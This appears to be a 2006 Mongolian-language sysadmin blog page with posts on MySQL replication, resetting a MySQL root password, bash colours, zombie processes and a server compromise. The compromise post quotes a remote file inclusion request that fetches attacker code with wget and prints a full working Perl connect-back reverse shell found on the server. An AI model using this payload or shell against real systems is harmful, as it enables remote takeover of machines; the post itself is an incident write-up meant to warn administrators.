Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 1519187

1 row in set (0.00 sec)

Энд Slave_IO_Running болон Slave_SQL_Running гэсний ард Yes гэсэн байх ёстой.

6. Checking Master replication

Master1 сервер дээр дараах коммандыг өгнө:

mysql> show master status;
+------------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------------+----------+--------------+------------------+
|MysqlMYSQL01-bin.000008 | 410 | adam | |
+------------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Үүний дараа дээрхтэй адил үр дүн дэлгэц дээр харагдах ёстой.

7. Create Master2 Replication

Slave1 буюу Master2 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
server-id=2

master-host = 11.11.11.11
master-user = replication
master-password = slave
master-port = 3306

log-bin
binlog-do-db= # replication хийгдэх баазын нэр

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

8. Create replication slave2

Slave1 буюу Master2 серверийн Mysql сервист дараах коммандыг өгнө:

mysql> grant replication slave on *.* to 'replication'@202.131.2.131 identified by 'slave2';

9. Setup Slave2 Replication

Slave2 буюу Master1 серверийн /etc/my.cnf файлд дараах өөрчлөлтыг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1

log-bin
binlog-do-db= # replication хийгдэх баазын нэр
binlog-ignore-db=mysql # хийгдэхгүй баазын нэрс
binlog-ignore-db=test

server-id=1


# information for becoming slave.
master-host = 202.131.2.131
master-user = replication
master-password = slave2
master-port = 3306

[mysql.server]user=mysqlbasedir=/var/lib

10. Starting Slave2 Replication

Master1, Master2 серверүүдийн mysql сервисүүдийг дахин эхлүүлнэ.

Master1 сервер дээр дараах коммандыг өгнө:

mysql> start slave;

Master2 сервер дээр:

mysql > show master status;

Master1 сервер дээр:

mysql> show slave status\G;

гэсэн комманд өгсөний дараа Master1 дээр

*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 11.11.11.11
Master_User: replica
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: Mysql1MYSQL02-bin.000008
Read_Master_Log_Pos: 410
Relay_Log_File: Mysql1MYSQL01-relay-bin.000008
Relay_Log_Pos: 445
Relay_Master_Log_File: Mysql1MYSQL02-bin.000008
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 410
Relay_Log_Space: 445
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 103799
1 row in set (0.00 sec)

ERROR:
No query specified

гэсэн үр дүн дэлгэц дээр харагдах болно.


цааш унших...

Wednesday, October 04, 2006

Мартамхай Сис Админуудад

Манай мэргэжилийнхэн олон юм дунд ажилладаг болохоор зарим үед аль нэг нууц үгийг марчихсан байдаг. Арга ч үгүй биз дээ, би л гэсэн хүний өөрийн нийлсэн 6-10 сервер дунд ажилладаг. sshd, root, admin, mysql db, postgresql db, ftp энэ тэр гээд түмэн юмний доторхи түмэн нууц үгийг тогтооно гэж үгүй. Дээр нь бүгдийг нь байс гээд л өөрчилдөгийг хэлэх үү. Шинээр солисоныхоо дараа бол ихэнхдээ шинийгээ мартчихна.

За тэгэхлээр MySQL датабэйс серверийн root нууц үгийг сэргээе!

1. console дээр root эрхээр логин хийнэ

2. mysql service -ийг унтраая

root@console1# /etc/init.d/mysqld stop

3. mysql хэрэглэгчээр mysqld процессийг эхлүүлнэ

root@console1# su - mysql
mysql@console1$ /usr/libexec/mysqld --skip-grant-table

4. mysql клиент руу орно.

mysql@console1$ mysql

5. mysql датабэйс руу орно.

mysql> use mysql;

6. user table-ын root хэрэглэгчийн нууц үгийг солих query явуулна

mysql> update user set Password=password('new_password')
where ((User like 'root') and (Host like 'localhost'));

7. Нууц үгийг файлд шинэчлэнэ

mysql> flush privileges;

8. mysql service -ыг унтраана

mysql@console1$  exit

root@console1# killall mysqld

9. mysql service-ыг буцаан асаана

root@console1# /etc/init.d/mysqld start

10. Одоо шинэ нууц үгээ шалгах хэрэгтэй

root@console1# mysql -u root -pnew_password -h localhost
mysql> exit


цааш унших...

Ай, энэ муусайн хакерууд уу

Саяхан нэг өдөр хостинг компаниас имэйл ирэв. Унштал танай серверээс хөрш сервер руу flood аттак хийсэн байна. Уг аттак хийсэн хэрэглэгчийг устгах буюу шаардлагатай арга хэмжээг яаралтай авна уу гэж байна.

2006-09-23 18:57:55.622633 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=50320)
2 2006-09-23 18:57:55.622637 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=51800)
4 2006-09-23 18:57:55.622641 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=53280)
6 2006-09-23 18:57:55.622741 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=54760)
.....

91.73 inbound Mbps to TARGETHOST
0.00 outbound Mbps from TARGETHOST

Серверт ороод системийн бүртгэлүүдийг (system logs) бүгдийг нь ухлаа даа. /tmp фолдероос хэдэн файл ачаалсан нь харагдав.

Apache хэрэглэгчээр /tmp дотор хэдэн скрипт файлыг upload хийчихжээ.
ls -a /tmp
.x dc.txt i.pl t.pl t.pl.1 w00t xxd.txt

Apache-ын бүртгэл дотор

/var/log/httpd/httpd-access_log.3:202.182.48.94 - - [14/Sep/2006:00:51:47 -0500] " GET /chatters/aedatingCMS2.php?dir[inc]=http://HACKERHOST/thekuntul/aa.txt?& cmd=uname%20-a; id; cd%20/var/www/html/chatters/patServer; wget%20HACKERHOST/supernova/psy.tar.gz HTTP/1.0" 200 3316

гэсэн мөр олдов. Манай нэг кодер open source chat script туршиж байгаад орхисон байсан нь upload хийгддэг алдаатай код байж л дээ.
cat dc.txt
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);

Ай шибаал гэж, ингээд л нэг гарыг серверт apache хэрэглэгчээр shell команд горим ачаалуулчихсан байваа.

Хамгийн их довтолгоонд өртдөг нь веб сервер учраас түүнийхээ хамгаалалтыг байнга чангатгаад байж дээ. Сис админ-уудаа!


цааш унших...

Monday, October 02, 2006

Хошин шог

Зарим үед *nix гэхээр л дандаа нэг л уйтгартай, баахан текст, комманд байдаг гэж бүү бодоорой. Бидэн дотор бас л хөгжилтэй, наргиантай зүйлс зөндөө байдаг юм шүү:

Зураг 1: Micro$oft-ын дээхнэ үед лицензийг нь худалдаж авч байсан Xenix гээд ОС талаар ийм зураг гарч байж.

Зураг 2: The penguin threw an apple and broke the windows


Зураг 3: Rock Pengiun destroying Windows















Зураг 4: Оцон шувуу хариуг нь барив.. хэхэхэ


цааш унших...

BASH shell-д өнгө тавих

Анх Debian GNU/Linux суулгаад ажиллаж байхад console нь нэг л тухгүй, тухайн хавтасны файл, хавтасуудыг жагсаалт хийн харахад аль нь файл, хавтас болох нь мэдэгдэхгүй нэг л биш ээ. Тэгээд байнга хэрэглэдэг bash shell дээрээ өнгө тавихаар шийдлээ. Таньд ч гэсэн ийм зүйл тохиолдвол дараах өөрчлөлтыг хийгээрэй:

Өөрийн home диретортоо ороод .bashrc файлыг нээгээд дараах мөрийг нэмнэ. Жишээ нь

cd ~
vi .bashrc гэх буюу өөрийн дуртай текст засварлагчаар .bashrc -г нээгээд

export LS_OPTIONS='--color=auto'
eval "`dircolors`"

гэсэн 2 мөрийг нэмчихээд дахин логин хийгээд ороорой.


цааш унших...

Zombie процесс хайх

Linux хэрэглэгчдэд бас тулгардаг асуудал нь зарим daemon процессууд үхсэн буюу zombie болсон эсэхийг хайн олох. Энэ нь тухайн процессын ажиллагаа хэвийн бус болж санах ойд ачаалагдсан хэвээр байгааг хэлдэг.
Linux төрлийн системийн процесс бүрт Status буюу процессын төлөв байдаг.

Процессын төлөв нь дараах утгуудтай байна.

S : sleeping - хүлээлтийн горимд
R : running - ажиллаж буй горимд
D : waiting (over het algemeen voor IO)
T : gestopt (suspended) of getrasseerd
Z : zombie (defunct) - үхмэл төлөвт

Иймээс үхмэл процессыг уг төлөвөөр хайн олох комманд:

ps -el | grep 'Z' /* Z төлөвтэй бүх процессыг лист хийх */

Үүний дараа таны системд үхмэл процесс байгаа бол дараахтай адил гаралт харагдана.

[root@s324 /]# ps -el | grep 'Z'
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
1 Z 0 1213 589 0 75 0 - 0 funct> ? 00:00:00 dovecot-auth

Мөн үхмэл процесс нь жижиг z үсгээр эхлэсэн байж ч болох юм. Тэгвэл:

ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]'

Уг комманд нь процессын төлөв (ostat), эцэг процессын дугаар (ppid), өөрийн дугаар (pid), процессыг үүсгэсэн комманд гэсэн багануудаар Z болон z үсэгээр эхлэсэн процессуудын жагсаалтыг харна.

Тухайн үхмэл процессыг дахин эхлүүлэх:

kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`

Өмнөх коммадын гаралт дээр awk коммандаар 2-р баганы утгыг гарган kill -HUP коммандыг аргументэд өгснөөр тухайн үхмэл процессыг дахин эхлүүлнэ.


цааш унших...

Түгээмэл хэрэглэгддэг Linux командууд

Хараад байхад ихэнхи Linux сонирхогч залуус маань энэ төрлийн системийн коммандын горимыг хараад л өмнөх Windows системийн хичнээн хялбархан байсныг мэдэрдэг юм шиг санагддаг. Жишээ нь л гэхэд коммандын горим дээрээс системийн мэдээллүүдээ яаж харахыг мэддэггүй. Тиймээс түгээмэл ашиглаж болох хэдэн коммандуудыг эндээс хараарай:

http://www.pixelbeat.org/cmdline.html


цааш унших...

Wednesday, August 16, 2006

Миний блог-д тавтай морилно уу

Намайг Мөнгөнгадасын Эрхэмбаатар гэдэг. Одоо 25 нас хүрч байна.

Мэдээллийн Технологийн салбарт 5 дахь жилдээ хүчин зүтгэж байна, анх 3-р курс төгсөөд М-Си-Эс компанид дадлага хийгээд тэр зундаа ИнженерСофт компаниас гараагаа эхлэж байсан.
Одоо ХуланСистемс компанид зорилго, сэтгэл нэгт нөхдийн хамт Монгол улсын МТ-ын төлөө хүчин зүтгэдэг.

Анх www.erkhemee.com хаягаар нэгэн вебсайт нээж тухайн үедээ МТ, ПХ талаар нийтлэл, хичээл бичиж байсан нь тухайн үедээ хүмүүст таашаагдаж байсан ч тодорхой шалтааны улмаас цааш ажиллуулах боломжгүй болсон.

Мэдээж өдөр тутмын нөр их ажлын ачааллаас бага ч болов хөнгөрч, бусдад тустай бага ч болов мэдлэг, мэдээлэл өгөх, мөн өөрийн нэрийн хуудас болох зорилгоор энэхүү талбарыг нээлээ. Цаашид Мэдээлэл Харилцаа Холбооны Технологи болон Компьютер График мөн мэдээж Нээлттэй Програм Хангамжын талаар түлхүү бичих болно.

Саатан болгоосонд талархлаа.


цааш унших...

blogger templates | Make Money Online